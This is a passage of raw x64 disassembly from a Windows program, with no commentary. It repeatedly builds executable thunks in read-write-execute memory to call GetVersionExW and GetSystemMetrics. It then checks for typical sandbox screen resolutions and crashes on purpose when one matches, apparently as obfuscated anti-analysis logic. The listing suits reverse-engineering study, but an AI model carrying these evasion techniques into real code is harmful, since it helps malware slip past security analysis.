movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1928]
call fcn.140021f10
movsd qword [rbp + 0x748], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f98], xmm0
mov qword [rbp + 0x1fa8], rax
mov rdx, rsi
lea rcx, [rbp + 0x1f98]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a840]
lea rbx, [0x140021750]
test rax, rax
je 0x14000c929
nop dword [rax]
cmp rax, rbx
je 0x14000c916
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a840]
test rax, rax
jne 0x14000c900
jmp 0x14000c929
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14000ca0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000c952
mov r8, r12
jmp 0x14000c9ee
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c960
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], rbx
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x748]
lea rcx, [0x140009f60]
call r8
nop
mov rcx, qword [rbp + 0x1f98]
xor rcx, qword [rbp + 0x1fa0]
mov qword [rbp + 0x1f98], rcx
mov rax, qword [rbp + 0x1fa8]
mov qword [rax], rcx
mulsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [rsp + 0x60]
mov r9d, dword [rbp + 0x1544]
mov r8d, dword [rbp + 0x1540]
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1540]
test al, 1
jne 0x14000ca7d
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
jmp 0x14000ca88
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x1588], 0
mov edi, 5
nop dword [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbp + 0x1544]
mov r8d, dword [rbp + 0x1540]
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1540]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1928]
call fcn.140021f10
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0x42d0]
test bl, 1
jne 0x14000cb2d
mov r9d, dword [rbp + 0x1544]
mov r8d, dword [rbp + 0x1540]
lea rcx, [rbp + 0x1540]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
imul ecx, eax
mov dword [rsp + 0x60], ecx
jmp 0x14000cb4d
lea rcx, [rbp + 0x1928]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm7
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
inc ebx
cmp ebx, 5
jl 0x14000cab0
sub rdi, 1
jne 0x14000caa0
mov r9d, dword [rbp + 0x1544]
mov r8d, dword [rbp + 0x1540]
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1540]
call fcn.140009bf0
mov ebx, eax
mov r9d, dword [rbp + 0x1544]
mov r8d, dword [rbp + 0x1540]
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1540]
call fcn.140009bf0
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x1588]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x16c8]
call fcn.1400047a0
sub r14, 1
jne 0x14000bbc0
lea rcx, [rbp + 0x750]
call fcn.140009fc0
mov rsi, qword [rbp - 0x80]
mov qword [rbp - 8], rsi
mov rax, qword [rax]
mov qword [rbp], rax
lea rdx, [rbp - 8]
lea rcx, [rbp]
call fcn.140021870
test al, al
js 0x14000bbb0
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2c00]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x16f8]
call fcn.140021e60
xor edx, edx
mov r8d, 0x114
lea rcx, [rbp + 0x2e20]
call fcn.140048640
lea rbx, [fcn.140048640]
mov qword [rbp + 0x758], 0x114
mov dword [rbp + 0x30], r12d
lea rax, [rbp + 0x2e20]
mov qword [rbp + 0x760], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1fb0], xmm0
mov qword [rbp + 0x1fc0], rax
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x1fb0]
call fcn.140009f70
nop
mov ecx, r12d
lea rdi, [0x1400218e0]
mov rax, qword [0x1400688c0]
test rax, rax
je 0x14000ccc9
nop dword [rax]
cmp rax, rdi
je 0x14000ccb6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x688c0]
test rax, rax
jne 0x14000cca0
jmp 0x14000ccc9
mov eax, ecx
mov r10, qword [r13 + rax*8 + 0x69550]
test r10, r10
jne 0x14000cdaf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14000ccf2
mov r10, r12
jmp 0x14000cd8e
mov rax, rdi
mov rcx, r10
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000cd00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140069ec0]
mov qword [r13 + rax*8 + 0x688c0], rdi
mov qword [r13 + rax*8 + 0x69550], r10
inc rax
mov qword [0x140069ec0], rax
lea r9, [rbp + 0x758]
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x760]
mov rcx, rbx
call r10
nop
mov rcx, qword [rbp + 0x1fb0]
xor rcx, qword [rbp + 0x1fb8]
mov qword [rbp + 0x1fb0], rcx
mov rax, qword [rbp + 0x1fc0]
mov qword [rax], rcx
mov dword [rbp + 0x2e20], 0x114
mov rbx, qword [sym.imp.KERNEL32.dll_GetVersionExW]
lea rax, [rbp + 0x2e20]
mov qword [rbp + 0x768], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1fc8], xmm0
mov qword [rbp + 0x1fd8], rax
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x1fc8]
call fcn.140009f70
nop
mov ecx, r12d
lea rdi, [0x140021920]
mov rax, qword [0x14006be50]
test rax, rax
je 0x14000ce6c
cmp rax, rdi
je 0x14000ce59
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6be50]
test rax, rax
jne 0x14000ce43
jmp 0x14000ce6c
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68280]
test r8, r8
jne 0x14000cf4f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000ce95
mov r8, r12
jmp 0x14000cf2e
mov rax, rdi
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000cea0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006ce00]
mov qword [r13 + rax*8 + 0x6be50], rdi
mov qword [r13 + rax*8 + 0x68280], r8
inc rax
mov qword [0x14006ce00], rax
lea rdx, [rbp + 0x768]
mov rcx, rbx
call r8
nop
mov rcx, qword [rbp + 0x1fc8]
xor rcx, qword [rbp + 0x1fd0]
mov qword [rbp + 0x1fc8], rcx
mov rax, qword [rbp + 0x1fd8]
mov qword [rax], rcx
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x34], r12d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1fe0], xmm0
mov qword [rbp + 0x1ff0], rax
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x1fe0]
call fcn.140009f70
nop
mov ecx, r12d
lea rdi, [0x140021950]
mov rax, qword [0x140069880]
test rax, rax
je 0x14000cfed
cmp rax, rdi
je 0x14000cfda
inc ecx
mov rax, qword [r13 + rcx*8 + 0x69880]
test rax, rax
jne 0x14000cfc4
jmp 0x14000cfed
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6bb20]
test r8, r8
jne 0x14000d0d0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000d016
mov r8, r12
jmp 0x14000d0af
mov rax, rdi
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000d021
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006a1f0]
mov qword [r13 + rax*8 + 0x69880], rdi
mov qword [r13 + rax*8 + 0x6bb20], r8
inc rax
mov qword [0x14006a1f0], rax
lea rdx, [rbp + 0x34]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x1fe0]
xor rdx, qword [rbp + 0x1fe8]
mov qword [rbp + 0x1fe0], rdx
mov rcx, qword [rbp + 0x1ff0]
mov qword [rcx], rdx
cmp eax, 0x400
jne 0x14000d294
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x38], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1ff8], xmm0
mov qword [rbp + 0x2008], rax
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x1ff8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140069880]
test rax, rax
je 0x14000d179
nop dword [rax]
cmp rax, rdi
je 0x14000d166
inc ecx
mov rax, qword [r13 + rcx*8 + 0x69880]
test rax, rax
jne 0x14000d150
jmp 0x14000d179
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6bb20]
test r8, r8
jne 0x14000d25f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000d1a2
mov r8, r12
jmp 0x14000d23e
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000d1b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006a1f0]
mov qword [r13 + rax*8 + 0x69880], rdi
mov qword [r13 + rax*8 + 0x6bb20], r8
inc rax
mov qword [0x14006a1f0], rax
lea rdx, [rbp + 0x38]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x1ff8]
xor rdx, qword [rbp + 0x2000]
mov qword [rbp + 0x1ff8], rdx
mov rcx, qword [rbp + 0x2008]
mov qword [rcx], rdx
cmp eax, 0x300
je 0x14000d8d4
cmp dword [rbp + 0x2e24], 6
ja 0x14000d2b0
jne 0x14000d8d4
cmp dword [rbp + 0x2e28], 2
jb 0x14000d8d4
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x3c], r12d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2010], xmm0
mov qword [rbp + 0x2020], rax
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2010]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140069880]
test rax, rax
je 0x14000d31a
cmp rax, rdi
je 0x14000d307
inc ecx
mov rax, qword [r13 + rcx*8 + 0x69880]
test rax, rax
jne 0x14000d2f1
jmp 0x14000d31a
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6bb20]
test r8, r8
jne 0x14000d3ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000d343
mov r8, r12
jmp 0x14000d3de
mov rax, rdi
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000d350
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006a1f0]
mov qword [r13 + rax*8 + 0x69880], rdi
mov qword [r13 + rax*8 + 0x6bb20], r8
inc rax
mov qword [0x14006a1f0], rax
lea rdx, [rbp + 0x3c]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x2010]
xor rdx, qword [rbp + 0x2018]
mov qword [rbp + 0x2010], rdx
mov rcx, qword [rbp + 0x2020]
mov qword [rcx], rdx
cmp eax, 0x500
jne 0x14000d5c4
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x40], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2028], xmm0
mov qword [rbp + 0x2038], rax
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2028]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140069880]
test rax, rax
je 0x14000d4a1
cmp rax, rdi
je 0x14000d48e
inc ecx
mov rax, qword [r13 + rcx*8 + 0x69880]
test rax, rax
jne 0x14000d478
jmp 0x14000d4a1
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6bb20]
test r8, r8
jne 0x14000d58f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000d4ca
mov r8, r12
jmp 0x14000d56e
mov rax, rdi
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000d4e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006a1f0]
mov qword [r13 + rax*8 + 0x69880], rdi
mov qword [r13 + rax*8 + 0x6bb20], r8
inc rax
mov qword [0x14006a1f0], rax
lea rdx, [rbp + 0x40]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x2028]
xor rdx, qword [rbp + 0x2030]
mov qword [rbp + 0x2028], rdx
mov rcx, qword [rbp + 0x2038]
mov qword [rcx], rdx
cmp eax, 0x400
je 0x14000d8d4
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x44], r12d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2040], xmm0
mov qword [rbp + 0x2050], rax
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2040]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140069880]
test rax, rax
je 0x14000d62e
cmp rax, rdi
je 0x14000d61b
inc ecx
mov rax, qword [r13 + rcx*8 + 0x69880]
test rax, rax
jne 0x14000d605
jmp 0x14000d62e
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6bb20]
test r8, r8
jne 0x14000d711
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000d657
mov r8, r12
jmp 0x14000d6f0
mov rax, rdi
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000d662
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006a1f0]
mov qword [r13 + rax*8 + 0x69880], rdi
mov qword [r13 + rax*8 + 0x6bb20], r8
inc rax
mov qword [0x14006a1f0], rax
lea rdx, [rbp + 0x44]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x2040]
xor rdx, qword [rbp + 0x2048]
mov qword [rbp + 0x2040], rdx
mov rcx, qword [rbp + 0x2050]
mov qword [rcx], rdx
cmp eax, 0x320
jne 0x14000ec04
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x48], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2058], xmm0
mov qword [rbp + 0x2068], rax
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2058]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140069880]
test rax, rax
je 0x14000d7b9
nop word [rax + rax]
cmp rax, rdi
je 0x14000d7a6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x69880]
test rax, rax
jne 0x14000d790
jmp 0x14000d7b9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6bb20]
test r8, r8
jne 0x14000d89f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000d7e2
mov r8, r12
jmp 0x14000d87e
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000d7f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006a1f0]
mov qword [r13 + rax*8 + 0x69880], rdi
mov qword [r13 + rax*8 + 0x6bb20], r8
inc rax
mov qword [0x14006a1f0], rax
lea rdx, [rbp + 0x48]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x2058]
xor rdx, qword [rbp + 0x2060]
mov qword [rbp + 0x2058], rdx
mov rcx, qword [rbp + 0x2068]
mov qword [rcx], rdx
cmp eax, 0x258
jne 0x14000ec04
mov byte [0], 0
call fcn.140024c3c
mov dword [rbp + 0x69e4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x5660]
call fcn.1400068a0
mov dword [rbp + 0x1548], 0xffffff9c
mov dword [rbp + 0x154c], 0x64
movups xmmword [rbp + 0x1938], xmm10
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1710], xmm0
mov qword [rbp + 0x1720], rax
lea rcx, [rbp + 0x1710]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x770]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call fcn.140021fe0
nop
